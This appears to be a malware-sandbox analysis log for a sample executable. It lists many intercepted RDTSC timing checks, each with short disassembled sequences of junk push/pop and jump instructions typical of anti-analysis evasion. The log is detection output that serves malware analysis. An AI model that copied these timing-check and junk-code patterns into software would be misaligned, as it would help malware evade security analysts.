Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792DE5 second address: 792DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7290C62CA6h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792DF0 second address: 792E0E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 ja 00007F7290766B26h 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 jo 00007F7290766B26h 0x0000001b pushad 0x0000001c popad 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 792FC3 second address: 792FCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F7290C62CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 79328E second address: 793297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 793297 second address: 79329D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 79329D second address: 7932A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 791FE2 second address: 791FEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7290C62CA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 791FEE second address: 791FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7982B7 second address: 7982BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 79BC3A second address: 79BC42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 79BC42 second address: 79BC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 79BC47 second address: 79BC62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7290766B2Ch 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c ja 00007F7290766B26h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7A7117 second address: 7A7126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F7290C62CA6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7AA847 second address: 7AA850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B1843 second address: 7B1847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B1847 second address: 7B1872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7290766B39h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jo 00007F7290766B40h 0x00000012 push ebx 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B1872 second address: 7B1882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007F7290C62CA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B0312 second address: 7B032A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B032A second address: 7B0362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CABh 0x00000007 pushad 0x00000008 jmp 00007F7290C62CB9h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 push edx 0x00000018 pop edx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B0362 second address: 7B0368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B0368 second address: 7B036C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B036C second address: 7B0376 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7290766B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B0376 second address: 7B037C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B037C second address: 7B0386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7290766B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B0386 second address: 7B038A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B038A second address: 7B039A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F7290766B26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B04F6 second address: 7B052D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7290C62CA6h 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7290C62CB0h 0x00000018 jmp 00007F7290C62CB4h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7B052D second address: 7B0531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7BDAF5 second address: 7BDAFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7BD989 second address: 7BD98E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C4B68 second address: 7C4B6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C4B6D second address: 7C4B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C4B75 second address: 7C4B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F7290C62CA6h 0x0000000a popad 0x0000000b jc 00007F7290C62CAEh 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C4CCD second address: 7C4CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C4CD5 second address: 7C4CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C4CDE second address: 7C4CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C4F63 second address: 7C4F69 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C5263 second address: 7C5269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C9D06 second address: 7C9D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C9D12 second address: 7C9D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7290766B26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7C9A20 second address: 7C9A2A instructions: 0x00000000 rdtsc 0x00000002 js 00007F7290C62CA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7D4D00 second address: 7D4D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7290766B2Bh 0x0000000c jmp 00007F7290766B36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7D4D28 second address: 7D4D3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F7290C62CABh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7D4D3D second address: 7D4D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7290766B26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F7290766B2Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7D4D57 second address: 7D4D69 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F7290C62CAEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7D4BA5 second address: 7D4BAA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7D4BAA second address: 7D4BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jnp 00007F7290C62CA6h 0x0000000c jns 00007F7290C62CA6h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F7290C62CABh 0x0000001b pushad 0x0000001c jmp 00007F7290C62CAFh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E211E second address: 7E2135 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F7290766B26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E2135 second address: 7E2167 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7290C62CA6h 0x00000008 jmp 00007F7290C62CB9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 jl 00007F7290C62CB2h 0x00000016 jo 00007F7290C62CACh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1C41 second address: 7E1C47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1C47 second address: 7E1C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F7290C62CAAh 0x0000000c popad 0x0000000d pushad 0x0000000e ja 00007F7290C62CA8h 0x00000014 jg 00007F7290C62CB2h 0x0000001a push eax 0x0000001b push edx 0x0000001c ja 00007F7290C62CA6h 0x00000022 jnl 00007F7290C62CA6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1C81 second address: 7E1C85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1DD8 second address: 7E1DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290C62CB6h 0x00000009 jg 00007F7290C62CA6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1DFF second address: 7E1E29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jmp 00007F7290766B37h 0x0000000d js 00007F7290766B28h 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1E29 second address: 7E1E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7290C62CA6h 0x0000000a jmp 00007F7290C62CB3h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E1E4D second address: 7E1E5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B2Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E66EC second address: 7E66F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E66F0 second address: 7E66F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E66F4 second address: 7E6700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E6700 second address: 7E6704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7E6704 second address: 7E6718 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F7290C62CA6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EA5CD second address: 7EA5D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EA5D2 second address: 7EA5DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F7290C62CA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EA5DE second address: 7EA5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EA753 second address: 7EA757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EA757 second address: 7EA767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7290766B26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EA767 second address: 7EA778 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007F7290C62CA6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EA778 second address: 7EA77E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EA8B4 second address: 7EA8C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EABCC second address: 7EABD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EABD5 second address: 7EABDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EABDB second address: 7EABE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EABE5 second address: 7EABE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EABE9 second address: 7EAC03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B2Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jp 00007F7290766B32h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EAC03 second address: 7EAC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EAC09 second address: 7EAC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EC4D9 second address: 7EC4DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EC4DD second address: 7EC4E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EC4E3 second address: 7EC4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EC4ED second address: 7EC4F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7F8C7A second address: 7F8CAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CAFh 0x00000007 jmp 00007F7290C62CAEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F7290C62CB1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7F8CAC second address: 7F8D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7290766B2Fh 0x00000008 pop eax 0x00000009 js 00007F7290766B53h 0x0000000f jmp 00007F7290766B38h 0x00000014 jmp 00007F7290766B35h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push ecx 0x0000001c pushad 0x0000001d jmp 00007F7290766B2Ah 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6D3E17 second address: 6D3E1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EF384 second address: 7EF3A8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7290766B26h 0x00000008 jmp 00007F7290766B37h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EF3A8 second address: 7EF3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7EF3AD second address: 7EF3CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F7290766B26h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e jbe 00007F7290766B28h 0x00000014 pushad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jo 00007F7290766B51h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 716C34 second address: 716C3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F7290C62CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71701A second address: 71701E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 71A55A second address: 71A56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F7290766B2Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 720BF2 second address: 720BFC instructions: 0x00000000 rdtsc 0x00000002 js 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 720BFC second address: 720C25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007F7290C62CB2h 0x00000010 ja 00007F7290C62CACh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 726517 second address: 726521 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
